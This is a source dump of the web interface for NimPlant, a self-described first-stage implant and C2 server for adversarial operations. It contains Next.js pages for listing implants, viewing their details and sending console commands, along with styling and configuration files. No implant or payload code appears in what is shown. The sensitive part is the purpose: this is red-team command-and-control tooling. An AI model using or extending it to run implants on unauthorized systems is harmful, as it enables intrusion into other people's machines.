25 | 26 | A {' '} 27 | <Text component="span" color={theme.primaryColor} inherit> 28 | first-stage implant 29 | </Text>{' '} 30 | for adversarial operations 31 | 32 | 33 | 34 | 35 | Nimplant is a lightweight stage-1 implant and C2 server. Get started using the action menu, or check out the Github repo for more information. 36 | 37 | 38 | 39 |
40 | 46 | 52 |
53 |
54 |
55 | 56 |
57 | 58 | ) 59 | } 60 | 61 | export default Index 62 | -------------------------------------------------------------------------------- /ui/pages/nimplants/details.tsx: -------------------------------------------------------------------------------- 1 | import { getNimplantConsole, getNimplantInfo, restoreConnectionError, showConnectionError, submitCommand } from '../../modules/nimplant' 2 | import { FaTerminal, FaInfoCircle, FaLaptopCode } from 'react-icons/fa' 3 | import { Tabs } from '@mantine/core' 4 | import { useEffect, useState } from 'react' 5 | import { useMediaQuery } from '@mantine/hooks' 6 | import { useRouter } from 'next/router' 7 | import Console from '../../components/Console' 8 | import ErrorPage from 'next/error' 9 | import InfoCardListNimplant from '../../components/InfoCardListNimplant' 10 | import TitleBar from '../../components/TitleBar' 11 | import type { NextPage } from 'next' 12 | 13 | // Tabbed page for showing single nimplant information and console 14 | const NimplantIndex: NextPage = () => { 15 | const largeScreen = useMediaQuery('(min-width: 800px)'); 16 | 17 | const router = useRouter(); 18 | const [activeTab, setActiveTab] = useState(1); // default to console tab 19 | 20 | const guid = router.query.guid as string 21 | const { nimplantInfo, nimplantInfoLoading, nimplantInfoError } = getNimplantInfo(guid) 22 | const { nimplantConsole, nimplantConsoleLoading, nimplantConsoleError } = getNimplantConsole(guid) 23 | 24 | useEffect(() => { 25 | // If the server responds but the GUID is not found, throw invalid GUID error 26 | if (nimplantInfoError && nimplantConsoleError){ 27 | showConnectionError() 28 | } else { 29 | restoreConnectionError() 30 | } 31 | }) 32 | 33 | if (!guid || (!nimplantInfoLoading && nimplantInfo == "Invalid Nimplant GUID")){ 34 | return 35 | } else { 36 | return ( 37 | <> 38 | } noBorder /> 39 | 40 | 41 | 42 | }>Information 43 | }>Console 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 58 | 59 | 60 | 61 | ) 62 | } 63 | 64 | 65 | } 66 | export default NimplantIndex -------------------------------------------------------------------------------- /ui/pages/nimplants/index.tsx: -------------------------------------------------------------------------------- 1 | import { FaLaptopCode } from 'react-icons/fa' 2 | import { Text, ScrollArea, Group, Card } from '@mantine/core' 3 | import { useMediaQuery } from '@mantine/hooks' 4 | import TitleBar from '../../components/TitleBar' 5 | import type { NextPage } from 'next' 6 | import NimplantOverviewCardList from '../../components/NimplantOverviewCardList' 7 | 8 | // Overview page for showing real-time information for all nimplants 9 | const NimplantList: NextPage = () => { 10 | const largeScreen = useMediaQuery('(min-width: 800px)') 11 | 12 | return ( 13 | <> 14 | } /> 15 | 16 | 17 | 18 | Nimplant 19 | 20 | 21 | System 22 | 23 | 24 | Network 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | ) 34 | } 35 | export default NimplantList -------------------------------------------------------------------------------- /ui/pages/server.tsx: -------------------------------------------------------------------------------- 1 | import { getServerConsole, restoreConnectionError, showConnectionError } from '../modules/nimplant' 2 | import { FaInfoCircle, FaServer, FaTerminal } from 'react-icons/fa' 3 | import { Tabs } from '@mantine/core' 4 | import { useEffect } from 'react' 5 | import Console from '../components/Console' 6 | import InfoCardListServer from '../components/InfoCardListServer' 7 | import TitleBar from '../components/TitleBar' 8 | import type { NextPage } from 'next' 9 | 10 | // Tabbed page for showing server information 11 | const ServerInfo: NextPage = () => { 12 | 13 | const { serverConsole, serverConsoleLoading, serverConsoleError } = getServerConsole() 14 | 15 | useEffect(() => { 16 | if (serverConsoleError) { 17 | showConnectionError() 18 | } else if (serverConsole){ 19 | restoreConnectionError() 20 | } 21 | }) 22 | 23 | return ( 24 | <> 25 | } noBorder /> 26 | 27 | 28 | }>Information 29 | }>Console 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | ) 43 | } 44 | export default ServerInfo -------------------------------------------------------------------------------- /ui/postcss.config.cjs: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | plugins: { 3 | 'postcss-preset-mantine': {}, 4 | 'postcss-simple-vars': { 5 | variables: { 6 | 'mantine-breakpoint-xs': '36em', 7 | 'mantine-breakpoint-sm': '48em', 8 | 'mantine-breakpoint-md': '62em', 9 | 'mantine-breakpoint-lg': '75em', 10 | 'mantine-breakpoint-xl': '88em', 11 | }, 12 | }, 13 | }, 14 | }; -------------------------------------------------------------------------------- /ui/public/favicon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chvancooten/NimPlant/af61429e758ce22ef2c21a06650170e7e4c96ce9/ui/public/favicon.png -------------------------------------------------------------------------------- /ui/public/favicon.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /ui/public/nimplant.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /ui/styles/buttonstyles.module.css: -------------------------------------------------------------------------------- 1 | .button { 2 | display: block; 3 | width: 100%; 4 | padding: var(--mantine-spacing-xs); 5 | border-radius: 5px; 6 | transition: 0.1s; 7 | } 8 | 9 | .button:hover { 10 | color: white; 11 | background-color: var(--mantine-color-rose-8); 12 | } 13 | 14 | .buttonActive { 15 | color: white; 16 | background-color: var(--mantine-color-rose-8); 17 | } 18 | 19 | .buttonInactive { 20 | color: var(--mantine-color-rose-1); 21 | background-color: transparent; 22 | } -------------------------------------------------------------------------------- /ui/styles/global.css: -------------------------------------------------------------------------------- 1 | @import url('https://fonts.googleapis.com/css2?family=Inter:wght@100;300;400;700&family=Montserrat:ital,wght@0,100;0,400;0,700;1,400&family=Roboto+Mono:ital,wght@0,400;0,700;1,400;1,700&display=swap'); 2 | 3 | main { 4 | overflow: hidden; 5 | } 6 | 7 | body { 8 | margin: 0px; 9 | } -------------------------------------------------------------------------------- /ui/styles/liststyles.module.css: -------------------------------------------------------------------------------- 1 | .group { 2 | border-bottom: 1px solid var(--mantine-color-gray-1); 3 | cursor: pointer; 4 | } 5 | 6 | .group:last-child { 7 | border-bottom: none; 8 | } -------------------------------------------------------------------------------- /ui/styles/styles.module.css: -------------------------------------------------------------------------------- 1 | .wrapper { 2 | position: relative; 3 | padding-top: 120px; 4 | padding-bottom: 80px; 5 | } 6 | 7 | @media (max-width: 755px) { 8 | .wrapper { 9 | padding-top: 80px; 10 | padding-bottom: 60px; 11 | } 12 | } 13 | 14 | .inner { 15 | position: relative; 16 | z-index: 1; 17 | } 18 | 19 | .dots { 20 | position: absolute; 21 | color: var(--mantine-color-gray-1); 22 | } 23 | 24 | @media (max-width: 755px) { 25 | .dots { 26 | display: none; 27 | } 28 | } 29 | 30 | .dotsLeft { 31 | left: 0; 32 | top: 0; 33 | } 34 | 35 | .title { 36 | text-align: center; 37 | font-weight: 800; 38 | font-size: 40px; 39 | letter-spacing: -1px; 40 | color: var(--mantine-white); 41 | margin-bottom: var(--mantine-spacing-xs); 42 | font-family: Greycliff CF, var(--mantine-font-family); 43 | } 44 | 45 | @media (max-width: 520px) { 46 | .title { 47 | font-size: 28px; 48 | text-align: left; 49 | } 50 | } 51 | 52 | .description { 53 | text-align: center; 54 | } 55 | 56 | @media (max-width: 520px) { 57 | .description { 58 | text-align: left; 59 | font-size: var(--mantine-font-size-md); 60 | } 61 | } 62 | 63 | .controls { 64 | margin-top: var(--mantine-spacing-lg); 65 | display: flex; 66 | justify-content: center; 67 | } 68 | 69 | @media (max-width: 520px) { 70 | .controls { 71 | flex-direction: column; 72 | } 73 | } 74 | 75 | .control:not(:first-of-type) { 76 | margin-left: var(--mantine-spacing-md); 77 | } 78 | 79 | @media (max-width: 520px) { 80 | .control { 81 | height: 42px; 82 | font-size: var(--mantine-font-size-md); 83 | } 84 | 85 | .control:not(:first-of-type) { 86 | margin-top: var(--mantine-spacing-md); 87 | margin-left: 0; 88 | } 89 | } -------------------------------------------------------------------------------- /ui/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es5", 4 | "lib": ["dom", "dom.iterable", "esnext"], 5 | "allowJs": true, 6 | "skipLibCheck": true, 7 | "strict": true, 8 | "forceConsistentCasingInFileNames": true, 9 | "noEmit": true, 10 | "esModuleInterop": true, 11 | "module": "esnext", 12 | "moduleResolution": "node", 13 | "resolveJsonModule": true, 14 | "isolatedModules": true, 15 | "jsx": "preserve", 16 | "incremental": true 17 | }, 18 | "include": ["next-env.d.ts", "**/*.ts", "**/*.tsx"], 19 | "exclude": ["node_modules"] 20 | } 21 | --------------------------------------------------------------------------------